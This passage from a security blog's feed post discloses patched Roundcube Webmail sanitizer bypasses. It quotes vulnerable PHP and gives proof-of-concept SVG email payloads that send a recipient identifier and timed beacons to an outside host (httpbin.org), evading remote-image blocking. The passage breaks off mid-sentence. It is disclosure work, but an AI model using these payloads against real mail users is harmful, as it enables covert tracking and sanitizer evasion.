{"version":"https://jsonfeed.org/version/1.1","title":"NULL CATHEDRAL - Css","home_page_url":"https://nullcathedral.com/tags/css/","feed_url":"https://nullcathedral.com/tags/css/feed.json","description":"Where nothing is sacred.","language":"en-us","favicon":"https://nullcathedral.com/favicon.svg","authors":[{"name":"_NULL"}],"items":[{"id":"https://nullcathedral.com/posts/2026-03-18-roundcube-round-two-three-more-sanitizer-bypasses/","url":"https://nullcathedral.com/posts/2026-03-18-roundcube-round-two-three-more-sanitizer-bypasses/","title":"Roundcube round two: three more sanitizer bypasses","summary":"Three more bypasses in Roundcube's HTML sanitizer: SMIL animation attributes load remote resources, unquoted body backgrounds enable CSS injection, and position:fixed !important enables phishing overlays.","content_html":"\u003cp\u003e\u003cstrong\u003eTL;DR:\u003c/strong\u003e Three more bypasses in Roundcube\u0026rsquo;s HTML sanitizer. SMIL animation \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e attributes pass through without URI validation. The body \u003ccode\u003ebackground\u003c/code\u003e attribute gets dropped into \u003ccode\u003eurl()\u003c/code\u003e unquoted, which allows CSS injection. And \u003ccode\u003eposition: fixed !important\u003c/code\u003e bypasses the fixed-position mitigation for full-viewport phishing overlays. Fixed in \u003ca href=\"https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.16\"\u003e1.5.14, 1.6.14, and 1.7-rc5\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"vulnerability-information\"\u003eVulnerability information\u003ca href=\"#vulnerability-information\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eField\u003c/th\u003e\n          \u003cth\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eVendor\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eProduct\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube Webmail\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAffected versions\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u0026lt; 1.5.14, 1.6.x \u0026lt; 1.6.14, 1.7-rc1 through 1.7-rc4\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003ePending\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDisclosure date\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e2026-03-18\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"going-back\"\u003eGoing back\u003ca href=\"#going-back\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eAfter the \u003ca href=\"/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/\"\u003efeImage bypass\u003c/a\u003e was patched, the sanitizer still felt fairly fragile. Same patterns everywhere: hand-maintained allowlists, attribute routing that assumed it caught everything. I was bored and didn\u0026rsquo;t feel like doing anything else, so I went poking at it again.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cp\u003eThree more things came out of it.\u003c/p\u003e\n\u003ch2 id=\"smil-animations-values-and-by\"\u003eSMIL animations: \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e\u003ca href=\"#smil-animations-values-and-by\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe feImage bug was about an element whose \u003ccode\u003ehref\u003c/code\u003e went through the wrong code path. This one is about attributes that skip the code path entirely.\u003c/p\u003e\n\u003cp\u003eSMIL animation elements (\u003ccode\u003e\u0026lt;animate\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;set\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;animateTransform\u0026gt;\u003c/code\u003e) can target any attribute on their parent element. The \u003ccode\u003eto\u003c/code\u003e and \u003ccode\u003efrom\u003c/code\u003e attributes set start and end values, but SMIL also has \u003ccode\u003evalues\u003c/code\u003e (semicolon-separated keyframes) and \u003ccode\u003eby\u003c/code\u003e (relative offset). They all do the same thing: set the value of the target attribute.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ewash_attribs()\u003c/code\u003e handles \u003ccode\u003eto\u003c/code\u003e and \u003ccode\u003efrom\u003c/code\u003e correctly by resolving \u003ccode\u003eattributeName\u003c/code\u003e and routing the value through the appropriate URI check:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L301-L308\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// in SVG to/from attribs may contain anything, including URIs\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;to\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;from\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003estrtolower\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003egetAttribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;attributeName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epreg_replace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^.*:/\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003e_html_attribs\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis swaps the attribute name for the resolved \u003ccode\u003eattributeName\u003c/code\u003e, so \u003ccode\u003eto=\u0026quot;https://httpbin.org\u0026quot;\u003c/code\u003e on \u003ccode\u003e\u0026lt;animate attributeName=\u0026quot;href\u0026quot;\u0026gt;\u003c/code\u003e gets validated as if it were an \u003ccode\u003ehref\u003c/code\u003e value. The right idea.\u003c/p\u003e\n\u003cp\u003eBut \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e aren\u0026rsquo;t in that \u003ccode\u003eif\u003c/code\u003e check. They\u0026rsquo;re both in the \u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L65\"\u003e\u003ccode\u003e$html_attribs\u003c/code\u003e\u003c/a\u003e allowlist, so they pass the initial gate and fall through to the generic pass-through:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L335-L336\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNo URI validation. The value goes into the output unchanged.\u003c/p\u003e\n\u003cp\u003eThere\u0026rsquo;s a second layer to this. After \u003ca href=\"https://roundcube.net/news/2024/05/26/security-updates-1.6.7-and-1.5.7\"\u003eCVE-2024-37383\u003c/a\u003e\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e, the sanitizer blocks SMIL animations targeting \u003ccode\u003eattributeName=\u0026quot;href\u0026quot;\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L573-L575\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ein_array\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tagName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;animate\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatecolor\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;set\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatetransform\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;attributename\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOnly \u003ccode\u003ehref\u003c/code\u003e. But CSS properties like \u003ccode\u003emask\u003c/code\u003e and \u003ccode\u003ecursor\u003c/code\u003e also load external resources when their values contain URLs. An \u003ccode\u003e\u0026lt;animate attributeName=\u0026quot;mask\u0026quot; values=\u0026quot;url(//httpbin.org/track)\u0026quot;\u0026gt;\u003c/code\u003e passes through because the element-level block doesn\u0026rsquo;t fire.\u003c/p\u003e\n\u003cp\u003eCombined: the \u003ccode\u003evalues\u003c/code\u003e attribute bypasses attribute-level validation, and targeting \u003ccode\u003emask\u003c/code\u003e instead of \u003ccode\u003ehref\u003c/code\u003e bypasses element-level blocking. Both checks miss.\u003c/p\u003e\n\u003ch3 id=\"proof-of-concept\"\u003eProof of concept\u003ca href=\"#proof-of-concept\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eZero-click open tracking. An invisible SVG off-screen:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;position:absolute;left:-9999px\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003efill\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;white\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eanimate\u003c/span\u003e \u003cspan class=\"na\"\u003eattributeName\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;mask\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003evalues\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;url(//httpbin.org/track?uid=victim@test.com)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003efill\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;freeze\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003edur\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;0.001s\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOpen the email in Roundcube with \u0026ldquo;Block remote images\u0026rdquo; enabled. The browser fires a GET to the attacker\u0026rsquo;s URL.\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cp\u003eSMIL\u0026rsquo;s \u003ccode\u003ekeyTimes\u003c/code\u003e attribute enables timed beacons, measuring how long a recipient views the email:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;position:absolute;left:-9999px\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eanimate\u003c/span\u003e \u003cspan class=\"na\"\u003eattributeName\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;mask\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003evalues\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;none;url(//httpbin.org/ping?t=1);url(//httpbin.org/ping?t=2)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003edur\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;5s\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003erepeatCount\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;indefinite\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"body-backgrounds-unquoted-url\"\u003eBody backgrounds: unquoted \u003ccode\u003eurl()\u003c/code\u003e\u003ca href=\"#body-backgrounds-unquoted-url\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThis one is in the application layer, not the sanitizer library.\u003c/p\u003e\n\u003cp\u003eWhen Roundcube renders an email, \u003ccode\u003ewashtml_callback()\u003c/code\u003e processes the \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e element\u0026rsquo;s attributes and converts them to inline CSS on the output container \u003ccode\u003e\u0026lt;div\u0026gt;\u003c/code\u003e. The \u003ccode\u003ebackground\u003c/code\u003e attribute\u003csup id=\"fnref:4\"\u003e\u003ca href=\"#fn:4\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e4\u003c/a\u003e\u003c/sup\u003e becomes \u003ccode\u003ebackground-image\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/actions/mail/index.php#L1180-L1185\"\u003eindex.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;background\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^([^\\s]+)$/\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$m\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$style\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;background-image\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;url(\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e)\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe value runs through \u003ccode\u003ewash_uri()\u003c/code\u003e before this point, which allows \u003ccode\u003edata:image/*\u003c/code\u003e URIs. Then it gets interpolated into \u003ccode\u003eurl()\u003c/code\u003e without quotes.\u003c/p\u003e\n\u003cp\u003eA \u003ccode\u003e)\u003c/code\u003e inside the data URI terminates the \u003ccode\u003eurl()\u003c/code\u003e function early, and everything after it is parsed as additional CSS properties on the container \u003ccode\u003e\u0026lt;div\u0026gt;\u003c/code\u003e. Because the injected CSS is inline style (not inside a \u003ccode\u003e\u0026lt;style\u0026gt;\u003c/code\u003e block), it bypasses 